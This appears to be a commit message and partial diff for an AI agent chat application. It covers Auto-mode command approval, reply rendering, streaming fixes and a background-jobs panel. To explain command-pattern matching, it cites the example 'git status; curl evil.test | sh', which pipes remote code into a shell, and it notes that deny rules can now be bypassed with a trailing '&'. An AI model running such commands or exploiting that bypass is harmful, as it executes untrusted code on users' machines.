A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

src/lembas/api/pages.py

@@ -17,7 +17,6 @@ from lembas.services import compaction as compaction_service
 from lembas.services import settings_store
 from lembas.services import suggestions as suggestions_service
 from lembas.services.library import documents as documents_service
-from lembas.services.markdown import render_markdown
 from lembas.web.templating import STATIC_DIR, render
 
 router = APIRouter(tags=["pages"])
@@ -183,6 +182,12 @@ def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict:
             for m in agent_policy.MODES
         ],
         "terminal_enabled": _terminal_enabled(db, user, chat, current),
+        # Whether this chat could have background jobs at all. Not whether it
+        # has any -- that is what the chip's own request answers, five seconds
+        # later, off the request path. A chip that can never show anything is a
+        # chip that only takes room in a row this codebase has already had to
+        # fight to keep on one line.
+        "jobs_enabled": _jobs_enabled(db, user, chat, current),
         # Any chat that exists. Deliberately not gated the way the terminal is:
         # half the canvas's sources -- notes, skills, this chat's attachments,
         # its own scratch document -- need no machine at all, so the terminal's
@@ -196,6 +201,28 @@ def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict:
     }
 
 
+def _jobs_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool:
+    """Whether background jobs are possible in this chat.
+
+    The same shape as `_terminal_enabled` and for the same reason, but keyed on
+    `background_enabled` rather than on `terminal_enabled` and on `tools.agent`
+    rather than `agent.terminal` -- somebody who may have a model run commands
+    here may see which of them are still running. It is not a second permission,
+    because there is no action here the agent tools do not already grant.
+    """
+    from lembas.db.models import KIND_AGENT
+    from lembas.services.agent import ssh as ssh_service
+
+    if chat is None or chat.kind != KIND_AGENT or profile is None:
+        return False
+    if not permissions.has(db, user, "tools.agent"):
+        return False
+    values = settings_store.agents(db)
+    if not values.get("enabled") or not values.get("background_enabled"):
+        return False
+    return ssh_service.available() == ""
+
+
 def _terminal_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool:
     """Whether this chat can offer a shell of its own.
 
@@ -490,14 +517,13 @@ async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str
     # have only stopped being part of the request.
     compacted, messages = compaction_service.split(db, chat, everything)
 
-    # Markdown is rendered once here rather than in the template so the same
-    # helper produces the page and the streamed final frame -- one code path,
-    # no chance of the two disagreeing.
-    bodies = {
-        message.id: render_markdown(message.content)
-        for message in everything
-        if message.role == "assistant" and message.content
-    }
+    # Empty, and kept only so `_thread.html` and the four handlers that render a
+    # bubble keep one signature between them. An assistant turn is rendered from
+    # its steps now (`message_steps`, a Jinja global), which is what lets a
+    # reply's prose sit either side of the tool call it surrounded rather than
+    # arriving as one block at the bottom. Nothing reads this for an assistant
+    # message any more; `library/note_detail.html` has its own.
+    bodies: dict[str, str] = {}
 
     # What the chat would use if its own prompt were empty, so the settings
     # panel can show it as placeholder text rather than leaving the user to